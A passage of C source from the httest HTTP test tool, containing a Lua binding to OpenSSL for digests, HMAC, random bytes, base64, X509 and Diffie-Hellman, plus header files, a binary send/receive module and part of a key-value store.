Forward declaration ***********************************************************************/ int luaopen_crypto(lua_State *L); /************************************************************************ * Implementation ***********************************************************************/ static int crypto_error(lua_State *L) { char buf[120]; unsigned long e = ERR_get_error(); ERR_load_crypto_strings(); lua_pushnil(L); lua_pushstring(L, ERR_error_string(e, buf)); return 2; } /** * EVP Object */ static EVP_MD_CTX *evp_pget(lua_State *L, int i) { if (luaL_checkudata(L, i, LUACRYPTO_EVP) == NULL) { luaL_argerror(L, 1, "invalid object type"); } return lua_touserdata(L, i); } static EVP_MD_CTX *evp_pnew(lua_State *L) { EVP_MD_CTX *c = lua_newuserdata(L, sizeof(EVP_MD_CTX)); luaL_getmetatable(L, LUACRYPTO_EVP); lua_setmetatable(L, -2); return c; } static int evp_fnew(lua_State *L) { EVP_MD_CTX *c = NULL; const char *s = luaL_checkstring(L, 1); const EVP_MD *type = EVP_get_digestbyname(s); if (type == NULL) { luaL_argerror(L, 1, "invalid digest type"); return 0; } c = evp_pnew(L); EVP_MD_CTX_init(c); EVP_DigestInit_ex(c, type, NULL); return 1; } static int evp_clone(lua_State *L) { EVP_MD_CTX *c = evp_pget(L, 1); EVP_MD_CTX *d = evp_pnew(L); EVP_MD_CTX_init(d); EVP_MD_CTX_copy_ex(d, c); return 1; } static int evp_reset(lua_State *L) { EVP_MD_CTX *c = evp_pget(L, 1); const EVP_MD *t = EVP_MD_CTX_md(c); EVP_MD_CTX_cleanup(c); EVP_MD_CTX_init(c); EVP_DigestInit_ex(c, t, NULL); return 0; } static int evp_update(lua_State *L) { EVP_MD_CTX *c = evp_pget(L, 1); const char *s = luaL_checkstring(L, 2); EVP_DigestUpdate(c, s, strlen(s)); lua_settop(L, 1); return 1; } static int evp_digest(lua_State *L) { EVP_MD_CTX *c = evp_pget(L, 1); EVP_MD_CTX *d = NULL; unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int written = 0; unsigned int i; char *hex; if (lua_isstring(L, 2)) { const char *s = luaL_checkstring(L, 2); EVP_DigestUpdate(c, s, strlen(s)); } d = EVP_MD_CTX_create(); EVP_MD_CTX_copy_ex(d, c); EVP_DigestFinal_ex(d, digest, &written); EVP_MD_CTX_destroy(d); if (lua_toboolean(L, 3)) { lua_pushlstring(L, (char *)digest, written); } else { hex = calloc(sizeof(char), written*2 + 1); for (i = 0; i < written; i++) sprintf(hex + 2*i, "%02x", digest[i]); lua_pushlstring(L, hex, written*2); free(hex); } return 1; } static int evp_tostring(lua_State *L) { EVP_MD_CTX *c = evp_pget(L, 1); char s[64]; sprintf(s, "%s %p", LUACRYPTO_EVP, (void *)c); lua_pushstring(L, s); return 1; } static int evp_gc(lua_State *L) { EVP_MD_CTX *c = evp_pget(L, 1); EVP_MD_CTX_cleanup(c); return 1; } static int evp_fdigest(lua_State *L) { EVP_MD_CTX *c = NULL; const char *type_name = luaL_checkstring(L, 1); const char *s = luaL_checkstring(L, 2); const EVP_MD *type = EVP_get_digestbyname(type_name); unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int written = 0; unsigned int i; char *hex; if (type == NULL) { luaL_argerror(L, 1, "invalid digest type"); return 0; } c = EVP_MD_CTX_create(); EVP_DigestInit_ex(c, type, NULL); EVP_DigestUpdate(c, s, strlen(s)); EVP_DigestFinal_ex(c, digest, &written); if (lua_toboolean(L, 3)) { lua_pushlstring(L, (char *)digest, written); } else { hex = calloc(sizeof(char), written*2 + 1); for (i = 0; i < written; i++) { sprintf(hex + 2*i, "%02x", digest[i]); } lua_pushlstring(L, hex, written*2); free(hex); } return 1; } /** * HMAC Object */ static HMAC_CTX *hmac_pget(lua_State *L, int i) { if (luaL_checkudata(L, i, LUACRYPTO_HMAC) == NULL) { luaL_argerror(L, 1, "invalid object type"); } return lua_touserdata(L, i); } static HMAC_CTX *hmac_pnew(lua_State *L) { HMAC_CTX *c = lua_newuserdata(L, sizeof(HMAC_CTX)); luaL_getmetatable(L, LUACRYPTO_HMAC); lua_setmetatable(L, -2); return c; } static int hmac_fnew(lua_State *L) { HMAC_CTX *c = hmac_pnew(L); const char *s = luaL_checkstring(L, 1); const char *k = luaL_checkstring(L, 2); const EVP_MD *type = EVP_get_digestbyname(s); if (type == NULL) { luaL_argerror(L, 1, "invalid digest type"); return 0; } HMAC_CTX_init(c); HMAC_Init_ex(c, k, strlen(k), type, NULL); return 1; } static int hmac_clone(lua_State *L) { HMAC_CTX *c = hmac_pget(L, 1); HMAC_CTX *d = hmac_pnew(L); *d = *c; return 1; } static int hmac_reset(lua_State *L) { HMAC_CTX *c = hmac_pget(L, 1); HMAC_Init_ex(c, NULL, 0, NULL, NULL); return 0; } static int hmac_update(lua_State *L) { HMAC_CTX *c = hmac_pget(L, 1); const char *s = luaL_checkstring(L, 2); HMAC_Update(c, (unsigned char *)s, strlen(s)); lua_settop(L, 1); return 1; } static int hmac_digest(lua_State *L) { HMAC_CTX *c = hmac_pget(L, 1); unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int written = 0; unsigned int i; char *hex; if (lua_isstring(L, 2)) { const char *s = luaL_checkstring(L, 2); HMAC_Update(c, (unsigned char *)s, strlen(s)); } HMAC_Final(c, digest, &written); if (lua_toboolean(L, 3)) { lua_pushlstring(L, (char *)digest, written); } else { hex = calloc(sizeof(char), written*2 + 1); for (i = 0; i < written; i++) { sprintf(hex + 2*i, "%02x", digest[i]); } lua_pushlstring(L, hex, written*2); free(hex); } return 1; } static int hmac_tostring(lua_State *L) { HMAC_CTX *c = hmac_pget(L, 1); char s[64]; sprintf(s, "%s %p", LUACRYPTO_HMAC, (void *)c); lua_pushstring(L, s); return 1; } static int hmac_gc(lua_State *L) { HMAC_CTX *c = hmac_pget(L, 1); HMAC_CTX_cleanup(c); return 1; } static int hmac_fdigest(lua_State *L) { HMAC_CTX c; unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int written = 0; unsigned int i; char *hex; const char *t = luaL_checkstring(L, 1); const char *s = luaL_checkstring(L, 2); const char *k = luaL_checkstring(L, 3); const EVP_MD *type = EVP_get_digestbyname(t); if (type == NULL) { luaL_argerror(L, 1, "invalid digest type"); return 0; } HMAC_CTX_init(&c); HMAC_Init_ex(&c, k, strlen(k), type, NULL); HMAC_Update(&c, (unsigned char *)s, strlen(s)); HMAC_Final(&c, digest, &written); if (lua_toboolean(L, 4)) { lua_pushlstring(L, (char *)digest, written); } else { hex = calloc(sizeof(char), written*2 + 1); for (i = 0; i < written; i++) { sprintf(hex + 2*i, "%02x", digest[i]); } lua_pushlstring(L, hex, written*2); free(hex); } return 1; } /** * Random Object */ static int rand_do_bytes(lua_State *L, int (*bytes)(unsigned char *buf, int len)) { size_t count = luaL_checkint(L, 1); unsigned char tmp[256], *buf = tmp; if (count > sizeof tmp) { buf = malloc(count); } if (!buf) { return luaL_error(L, "out of memory"); } else if (!bytes(buf, count)) { return crypto_error(L); } lua_pushlstring(L, (char *)buf, count); if (buf != tmp) { free(buf); } return 1; } static int rand_bytes(lua_State *L) { return rand_do_bytes(L, RAND_bytes); } static int rand_pseudo_bytes(lua_State *L) { return rand_do_bytes(L, RAND_pseudo_bytes); } static int rand_add(lua_State *L) { size_t num; const void *buf = luaL_checklstring(L, 1, &num); double entropy = luaL_optnumber(L, 2, num); RAND_add(buf, num, entropy); return 0; } static int rand_status(lua_State *L) { lua_pushboolean(L, RAND_status()); return 1; } enum { WRITE_FILE_COUNT = 1024 }; static int rand_load(lua_State *L) { const char *name = luaL_optstring(L, 1, 0); char tmp[256]; int n; if (!name && !(name = RAND_file_name(tmp, sizeof tmp))) { return crypto_error(L); } n = RAND_load_file(name, WRITE_FILE_COUNT); if (n == 0) { return crypto_error(L); } lua_pushnumber(L, n); return 1; } static int rand_write(lua_State *L) { const char *name = luaL_optstring(L, 1, 0); char tmp[256]; int n; if (!name && !(name = RAND_file_name(tmp, sizeof tmp))) { return crypto_error(L); } n = RAND_write_file(name); if (n == 0) { return crypto_error(L); } lua_pushnumber(L, n); return 1; } static int rand_cleanup(lua_State *L) { RAND_cleanup(); return 0; } /** * Base64 */ static int b64_encode(lua_State *L) { if (lua_isstring(L, -1)) { apr_pool_t *pool; apr_size_t len; apr_size_t b64len; char *base64; const char *buffer = lua_tolstring(L, -1, &len); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); b64len = apr_base64_encode_len(len); base64 = apr_pcalloc(pool, b64len + 1); apr_base64_encode(base64, buffer, len); lua_pushstring(L, base64); apr_pool_destroy(pool); return 1; } else { luaL_error(L, "Expect a string parameter"); return 1; } } static int b64_decode(lua_State *L) { if (lua_isstring(L, -1)) { apr_pool_t *pool; apr_size_t len; unsigned char *plain; const char *buffer = lua_tolstring(L, -1, &len); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); len = apr_base64_decode_len(buffer); plain = apr_pcalloc(pool, len); apr_base64_decode_binary(plain, buffer); lua_pushlstring(L, (char *)plain, len); apr_pool_destroy(pool); return 1; } else { luaL_error(L, "Expect a string parameter"); return 1; } } /** * X509 Object */ static X509 *x509_pget(lua_State *L, int i) { if (luaL_checkudata(L, i, LUACRYPTO_X509) == NULL) { luaL_argerror(L, 1, "invalid object type"); } return lua_touserdata(L, i); } static int x509_fnew(lua_State *L) { apr_size_t len; const char *data = luaL_checklstring(L, 1, &len); X509 *cert; BIO *mem; if (data == NULL) { luaL_argerror(L, 1, "PEM cert to load"); return 0; } mem = BIO_new_mem_buf((void *)data, len); cert = PEM_read_bio_X509(mem, NULL, NULL, NULL); lua_pushlightuserdata(L, cert); luaL_getmetatable(L, LUACRYPTO_X509); lua_setmetatable(L, -2); return 1; } static int x509_fload(lua_State *L) { const char *filename = luaL_checkstring(L, 1); X509 *cert; BIO *file; if (filename == NULL) { luaL_argerror(L, 1, "path to x509 pem formated cert missing"); return 0; } file = BIO_new_file(filename, "r"); cert = PEM_read_bio_X509(file, NULL, NULL, NULL); lua_pushlightuserdata(L, cert); luaL_getmetatable(L, LUACRYPTO_X509); lua_setmetatable(L, -2); return 1; } static int x509_clone(lua_State *L) { X509 *cert = x509_pget(L, 1); X509 *copy = X509_dup(cert); lua_pushlightuserdata(L, copy); luaL_getmetatable(L, LUACRYPTO_X509); lua_setmetatable(L, -2); return 1; } static int x509_get_subject_name(lua_State *L) { X509 *cert = x509_pget(L, 1); X509_NAME *name = X509_get_subject_name(cert); lua_pushlightuserdata(L, name); luaL_getmetatable(L, LUACRYPTO_X509NAME); lua_setmetatable(L, -2); return 1; } static int x509_get_issuer_name(lua_State *L) { X509 *cert = x509_pget(L, 1); X509_NAME *name = X509_get_issuer_name(cert); lua_pushlightuserdata(L, name); luaL_getmetatable(L, LUACRYPTO_X509NAME); lua_setmetatable(L, -2); return 1; } static int x509_get_not_before(lua_State *L) { X509 *cert = x509_pget(L, 1); ASN1_TIME *time = X509_get_notBefore(cert); lua_pushlightuserdata(L, time); luaL_getmetatable(L, LUACRYPTO_ASN1TIME); lua_setmetatable(L, -2); return 1; } static int x509_get_not_after(lua_State *L) { X509 *cert = x509_pget(L, 1); ASN1_TIME *time = X509_get_notAfter(cert); lua_pushlightuserdata(L, time); luaL_getmetatable(L, LUACRYPTO_ASN1TIME); lua_setmetatable(L, -2); return 1; } static int x509_tostring(lua_State *L) { apr_pool_t *pool; X509 *cert = x509_pget(L, 1); char *s; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); s = apr_psprintf(pool, "X509 cert %p", cert); lua_pushstring(L, s); apr_pool_destroy(pool); return 1; } static int x509_gc(lua_State *L) { X509 *c = x509_pget(L, 1); X509_free(c); return 1; } /** * X509_NAME Object */ static X509_NAME *x509_name_pget(lua_State *L, int i) { if (luaL_checkudata(L, i, LUACRYPTO_X509NAME) == NULL) { luaL_argerror(L, 1, "invalid object type"); } return lua_touserdata(L, i); } static int x509_name_clone(lua_State *L) { X509_NAME *name = x509_name_pget(L, 1); X509_NAME *copy = X509_NAME_dup(name); lua_pushlightuserdata(L, copy); luaL_getmetatable(L, LUACRYPTO_X509NAME); lua_setmetatable(L, -2); return 1; } static int x509_name_tostring(lua_State *L) { char *s; X509_NAME *name = x509_name_pget(L, 1); s = X509_NAME_oneline(name, NULL, 0); lua_pushstring(L, s); OPENSSL_free(s); return 1; } static int x509_name_toasn1(lua_State *L) { unsigned char *s = NULL; apr_size_t len; X509_NAME *name = x509_name_pget(L, 1); len = i2d_X509_NAME(name, &s); lua_pushlstring(L, (char *)s, len); OPENSSL_free(s); return 1; } static int x509_name_gc(lua_State *L) { X509_NAME *name = x509_name_pget(L, 1); X509_NAME_free(name); return 1; } /** * ASN1_TIME Object */ static ASN1_TIME *asn1_time_pget(lua_State *L, int i) { if (luaL_checkudata(L, i, LUACRYPTO_ASN1TIME) == NULL) { luaL_argerror(L, 1, "invalid object type"); } return lua_touserdata(L, i); } static int asn1_time_fnew(lua_State *L) { ASN1_TIME *asn1time = M_ASN1_TIME_new(); time_t t = time(NULL); ASN1_TIME_set(asn1time, t); lua_pushlightuserdata(L, asn1time); luaL_getmetatable(L, LUACRYPTO_ASN1TIME); lua_setmetatable(L, -2); return 1; } static int asn1_time_clone(lua_State *L) { ASN1_TIME *time = asn1_time_pget(L, 1); ASN1_TIME *copy = M_ASN1_TIME_dup(time); lua_pushlightuserdata(L, copy); luaL_getmetatable(L, LUACRYPTO_ASN1TIME); lua_setmetatable(L, -2); return 1; } static int asn1_time_tostring(lua_State *L) { char s[1024]; BIO *mem; ASN1_TIME *time = asn1_time_pget(L, 1); mem = BIO_new_mem_buf((void *)s, 1024); ASN1_TIME_print(mem, time); lua_pushstring(L, s); return 1; } static int asn1_time_toasn1(lua_State *L) { unsigned char *s = NULL; apr_size_t len; ASN1_TIME *time = asn1_time_pget(L, 1); len = i2d_ASN1_TIME(time, &s); lua_pushlstring(L, (char *)s, len); OPENSSL_free(s); return 1; } static int asn1_time_gc(lua_State *L) { ASN1_TIME *time = asn1_time_pget(L, 1); M_ASN1_TIME_free(time); return 1; } /** * DH object */ static int dh_cb(int p, int n, BN_GENCB *cb) { char c='*'; switch (p) { case 0: c='.'; break; case 1: c='+'; break; case 2: c='*'; break; case 3: c='\n'; break; } BIO_write(cb->arg,&c,1); (void)BIO_flush(cb->arg); return 1; } static DH *dh_pget(lua_State *L, int i) { if (luaL_checkudata(L, i, LUACRYPTO_DH) == NULL) { luaL_argerror(L, 1, "invalid object type"); } return lua_touserdata(L, i); } static int dh_fnew(lua_State *L) { int generator = luaL_checknumber(L, 1); int num = luaL_checknumber(L, 2); DH *dh = DH_new(); BIO *bio_err; BN_GENCB cb; if ((bio_err = BIO_new(BIO_s_file())) != NULL) { BIO_set_fp(bio_err,stderr,BIO_NOCLOSE|BIO_FP_TEXT); } BN_GENCB_set(&cb, dh_cb, bio_err); if (!DH_generate_parameters_ex(dh, num, generator, &cb)) { luaL_argerror(L, 1, "could not generate DH paramters"); return 1; } DH_generate_key(dh); lua_pushlightuserdata(L, dh); luaL_getmetatable(L, LUACRYPTO_DH); lua_setmetatable(L, -2); return 1; } static int dh_clone(lua_State *L) { DH *dh = dh_pget(L, 1); DH *copy = DHparams_dup(dh); lua_pushlightuserdata(L, copy); luaL_getmetatable(L, LUACRYPTO_DH); lua_setmetatable(L, -2); return 1; } static int dh_tostring(lua_State *L) { char *s; apr_pool_t *pool; DH *dh = dh_pget(L, 1); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); s = apr_psprintf(pool, "DH %p", dh); lua_pushstring(L, s); apr_pool_destroy(pool); return 1; } static int dh_get_prime(lua_State *L) { apr_size_t len; unsigned char *s; apr_pool_t *pool; DH *dh = dh_pget(L, 1); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); s = apr_pcalloc(pool, BN_num_bytes(dh->p)); len = BN_bn2bin(dh->p, s); lua_pushlstring(L, (char *)s, len); apr_pool_destroy(pool); return 1; } static int dh_get_priv_key(lua_State *L) { apr_size_t len; unsigned char *s; apr_pool_t *pool; DH *dh = dh_pget(L, 1); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); s = apr_pcalloc(pool, BN_num_bytes(dh->priv_key)); len = BN_bn2bin(dh->priv_key, s); lua_pushlstring(L, (char *)s, len); apr_pool_destroy(pool); return 1; } static int dh_get_pub_key(lua_State *L) { apr_size_t len; unsigned char *s; apr_pool_t *pool; DH *dh = dh_pget(L, 1); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); s = apr_pcalloc(pool, BN_num_bytes(dh->pub_key)); len = BN_bn2bin(dh->pub_key, s); lua_pushlstring(L, (char *)s, len); apr_pool_destroy(pool); return 1; } static int dh_gc(lua_State *L) { DH *dh = dh_pget(L, 1); DH_free(dh); return 1; } /** * Create a metatable and leave it on top of the stack. */ int luacrypto_createmeta (lua_State *L, const char *name, const luaL_Reg *methods) { if (!luaL_newmetatable (L, name)) { return 0; } /* define methods */ luaL_openlib (L, NULL, methods, 0); /* define metamethods */ lua_pushliteral (L, "__index"); lua_pushvalue (L, -2); lua_settable (L, -3); lua_pushliteral (L, "__metatable"); lua_pushliteral (L, LUACRYPTO_PREFIX"you're not allowed to get this metatable"); lua_settable (L, -3); return 1; } /** * Create metatables for each class of object. */ static void create_metatables (lua_State *L) { struct luaL_Reg evp_functions[] = { { "digest", evp_fdigest }, { "new", evp_fnew }, {NULL, NULL}, }; struct luaL_Reg evp_methods[] = { { "__tostring", evp_tostring }, { "__gc", evp_gc }, { "clone", evp_clone }, { "digest", evp_digest }, { "reset", evp_reset }, { "tostring", evp_tostring }, { "update", evp_update }, {NULL, NULL}, }; struct luaL_Reg hmac_functions[] = { { "digest", hmac_fdigest }, { "new", hmac_fnew }, { NULL, NULL } }; struct luaL_Reg hmac_methods[] = { { "__tostring", hmac_tostring }, { "__gc", hmac_gc }, { "clone", hmac_clone }, { "digest", hmac_digest }, { "reset", hmac_reset }, { "tostring", hmac_tostring }, { "update", hmac_update }, { NULL, NULL } }; struct luaL_Reg rand_functions[] = { { "bytes", rand_bytes }, { "pseudo_bytes", rand_pseudo_bytes }, { "add", rand_add }, { "seed", rand_add }, { "status", rand_status }, { "load", rand_load }, { "write", rand_write }, { "cleanup", rand_cleanup }, { NULL, NULL } }; struct luaL_Reg b64_functions[] = { { "encode", b64_encode }, { "decode", b64_decode }, {NULL, NULL}, }; struct luaL_Reg x509_functions[] = { { "new", x509_fnew }, { "load", x509_fload }, {NULL, NULL}, }; struct luaL_Reg x509_methods[] = { { "__tostring", x509_tostring }, { "__gc", x509_gc }, { "clone", x509_clone }, { "tostring", x509_tostring }, { "get_subject_name", x509_get_subject_name }, { "get_issuer_name", x509_get_issuer_name }, { "get_not_before", x509_get_not_before }, { "get_not_after", x509_get_not_after }, {NULL, NULL}, }; struct luaL_Reg x509_name_methods[] = { { "__tostring", x509_name_tostring }, { "__gc", x509_name_gc }, { "clone", x509_name_clone }, { "tostring", x509_name_tostring }, { "toasn1", x509_name_toasn1 }, {NULL, NULL}, }; struct luaL_Reg asn1_time_functions[] = { { "new", asn1_time_fnew }, {NULL, NULL}, }; struct luaL_Reg asn1_time_methods[] = { { "__tostring", asn1_time_tostring }, { "__gc", asn1_time_gc }, { "clone", asn1_time_clone }, { "tostring", asn1_time_tostring }, { "toasn1", asn1_time_toasn1 }, {NULL, NULL}, }; struct luaL_Reg dh_functions[] = { { "new", dh_fnew }, {NULL, NULL}, }; struct luaL_Reg dh_methods[] = { { "__tostring", dh_tostring }, { "__gc", dh_gc }, { "clone", dh_clone }, { "tostring", dh_tostring }, { "get_prime", dh_get_prime }, { "get_priv_key", dh_get_priv_key }, { "get_pub_key", dh_get_pub_key }, {NULL, NULL}, }; luaL_openlib (L, LUACRYPTO_EVP, evp_functions, 0); luacrypto_createmeta(L, LUACRYPTO_EVP, evp_methods); luaL_openlib (L, LUACRYPTO_HMAC, hmac_functions, 0); luacrypto_createmeta(L, LUACRYPTO_HMAC, hmac_methods); luaL_openlib (L, LUACRYPTO_RAND, rand_functions, 0); luaL_openlib (L, LUACRYPTO_BASE64, b64_functions, 0); luaL_openlib (L, LUACRYPTO_X509, x509_functions, 0); luacrypto_createmeta(L, LUACRYPTO_X509, x509_methods); luacrypto_createmeta(L, LUACRYPTO_X509NAME, x509_name_methods); luaL_openlib (L, LUACRYPTO_ASN1TIME, asn1_time_functions, 0); luacrypto_createmeta(L, LUACRYPTO_ASN1TIME, asn1_time_methods); luaL_openlib (L, LUACRYPTO_DH, dh_functions, 0); luacrypto_createmeta(L, LUACRYPTO_DH, dh_methods); lua_pop (L, 3); } /** * Creates the metatables for the objects and registers the * driver open method. * @param L IN Lua hook * @return 1 */ int luaopen_crypto(lua_State *L) { struct luaL_Reg core[] = { {NULL, NULL}, }; OpenSSL_add_all_digests(); create_metatables (L); luaL_openlib (L, LUACRYPTO_CORE, core, 0); return 1; } httest-2.4.8/src/conf.h0000664000175100017510000000150412141535454011656 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool config reader. */ #ifndef HTTEST_CONF_H #define HTTEST_CONF_H apr_table_t *conf_reader(apr_pool_t *pool, const char *file); #endif httest-2.4.8/src/appender.h0000664000175100017510000000306512203674076012536 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool log appender */ #ifndef HTTEST_APPENDER_H #define HTTEST_APPENDER_H typedef struct appender_s appender_t; typedef void (*printer_f)(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len); appender_t *appender_new(apr_pool_t *pool, printer_f printer, void *user_data); void *appender_get_user_data(appender_t *appender); void appender_set_mutex(appender_t *appender, apr_thread_mutex_t *mutex); apr_thread_mutex_t *appender_get_mutex(appender_t *appender); void appender_lock(appender_t *appender); void appender_unlock(appender_t *appender); void appender_print(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len); #endif httest-2.4.8/src/binary_module.c0000664000175100017510000001343412205142236013553 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool binary module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Commands ***********************************************************************/ /** * SEND binary data * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_BINARY_SEND(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status = APR_SUCCESS; char *copy; apr_size_t i; if (!worker->socket || !worker->socket->socket) { return APR_ENOSOCKET; } for (i = 1; i < store_get_size(worker->params); i++) { int unresolved; copy = store_get_copy(worker->params, worker->pcache, apr_itoa(ptmp, i)); copy = worker_replace_vars(worker, copy, &unresolved, ptmp); if (unresolved) { apr_table_addn(worker->cache, apr_pstrdup(worker->pcache, "BINARY;resolve"), copy); } else { apr_table_addn(worker->cache, apr_pstrdup(worker->pcache, "BINARY"), copy); } } return status; } /** * RECV binary data and makes a hex dump * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_BINARY_RECV(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_pool_t *pool; apr_status_t status; apr_size_t recv_len; apr_size_t peeklen; sockreader_t *sockreader; char *buf; const char *val; int poll = 0; val = store_get(worker->params, "1"); /* must be a number */ recv_len = apr_atoi64(val); apr_pool_create(&pool, NULL); if (worker->socket->sockreader == NULL) { peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; if ((status = sockreader_new(&worker->socket->sockreader, worker->socket->transport, worker->socket->peek, peeklen)) != APR_SUCCESS) { goto out_err; } } sockreader = worker->socket->sockreader; if ((status = content_length_reader(sockreader, &buf, &recv_len, "")) != APR_SUCCESS) { if (poll && APR_STATUS_IS_INCOMPLETE(status)) { status = APR_SUCCESS; } else { goto out_err; } } worker->flags |= FLAGS_PRINT_HEX; if ((status = worker_handle_buf(worker, pool, buf, recv_len)) != APR_SUCCESS) { goto out_err; } out_err: status = worker_assert(worker, status); apr_pool_destroy(pool); return status; } /** * Do hex to bin transformation with this hook, this is called * after late variable replacement. * * @param worker IN worker context * @param line IN line informations */ static apr_status_t binary_line_get_length(worker_t *worker, line_t *line) { apr_size_t len; /* lets see if we do have work */ if (strncmp(line->info, "BINARY", 6) != 0) { return APR_SUCCESS; } apr_collapse_spaces(line->buf, line->buf); /* callculate buf len */ len = strlen(line->buf); if (len && len%2 != 1) { len /= 2; } else { worker_log(worker, LOG_ERR, "Binary data must have an equal number of digits"); return APR_EINVAL; } line->info = apr_psprintf(worker->pcache, "NOCRLF:%"APR_SIZE_T_FMT, len); line->len = len; return APR_SUCCESS; } /** * Do hex to bin transformation with this hook, this is called * after late variable replacement. * * @param worker IN worker context * @param line IN line informations */ static apr_status_t binary_line_flush(worker_t *worker, line_t *line) { apr_status_t status; char *buf; apr_size_t i; /* lets see if we do have work */ if (strncmp(line->info, "BINARY", 6) != 0) { return APR_SUCCESS; } if ((status = binary_line_get_length(worker, line)) != APR_SUCCESS) { return status; } buf = apr_pcalloc(worker->pcache, line->len); for (i = 0; i < line->len; i++) { char hex[3]; hex[0] = line->buf[i * 2]; hex[1] = line->buf[i * 2 + 1]; hex[2] = 0; buf[i] = (char )apr_strtoi64(hex, NULL, 16); } line->buf = buf; return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t binary_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "BINARY", "_SEND", "*", "send hex digits as binary data", block_BINARY_SEND)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "BINARY", "_RECV", "", "prints received data as hex digit", block_BINARY_RECV)) != APR_SUCCESS) { return status; } htt_hook_line_flush(binary_line_flush, NULL, NULL, 0); htt_hook_line_get_length(binary_line_get_length, NULL, NULL, 0); return APR_SUCCESS; } httest-2.4.8/src/store.c0000664000175100017510000001237212205370114012054 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool store. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include "store.h" /************************************************************************ * Definitions ***********************************************************************/ struct store_s { apr_pool_t *pool; apr_hash_t *hash; }; typedef struct store_element_s { apr_pool_t *pool; const char *value; } store_element_t; /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ /** * Create store for reusable entries without memory loss * @param pool IN pool to alloc this store * @return store */ store_t *store_make(apr_pool_t *pool) { store_t *store = apr_pcalloc(pool, sizeof(*store)); store->pool = pool; store->hash = apr_hash_make(pool); return store; } /** * Get value from store * @param store IN store hook * @param name IN key * @return value */ const char *store_get(store_t *store, const char *name) { store_element_t *element = apr_hash_get(store->hash, name, APR_HASH_KEY_STRING); if (element) { return element->value; } else { return NULL; } } /** * Gets a copy of value from store * @param store IN store hook * @param pool IN pool for value allocation * @param name IN key * @return value copy from your pool */ char *store_get_copy(store_t *store, apr_pool_t *pool, const char *name) { const char *value = store_get(store, name); if (value) { return apr_pstrdup(pool, value); } else { return NULL; } } /** * Set name value, if allready exist delete old name value and reset them. * @param store IN store hook * @param name IN key * @param value IN */ void store_set(store_t *store, const char *name, const char *value) { apr_pool_t *pool; store_element_t *element = apr_hash_get(store->hash, name, APR_HASH_KEY_STRING); if (element) { /* check if the new value is same pointer as stored value */ if (value == element->value) { /* nothting to do */ return; } apr_hash_set(store->hash, name, APR_HASH_KEY_STRING, NULL); apr_pool_destroy(element->pool); } apr_pool_create(&pool, store->pool); element = apr_pcalloc(pool, sizeof(*element)); element->pool = pool; element->value = apr_pstrdup(element->pool, value); apr_hash_set(store->hash, apr_pstrdup(element->pool, name), APR_HASH_KEY_STRING, element); } /** * Unset name value. * @param store IN store hook * @param name IN key */ void store_unset(store_t *store, const char *name) { store_element_t *element = apr_hash_get(store->hash, name, APR_HASH_KEY_STRING); if (element) { apr_hash_set(store->hash, name, APR_HASH_KEY_STRING, NULL); apr_pool_destroy(element->pool); } } /** * Merge a foregin store into my store. * @param store IN store hook * @param other IN foreign store hook */ void store_merge(store_t *store, store_t *other) { apr_hash_index_t *i; const void *key; void *val; store_element_t *element; if (!store || !other) { return; } for (i = apr_hash_first(other->pool, other->hash); i; i = apr_hash_next(i)) { apr_hash_this(i, &key, NULL, &val); element = val; 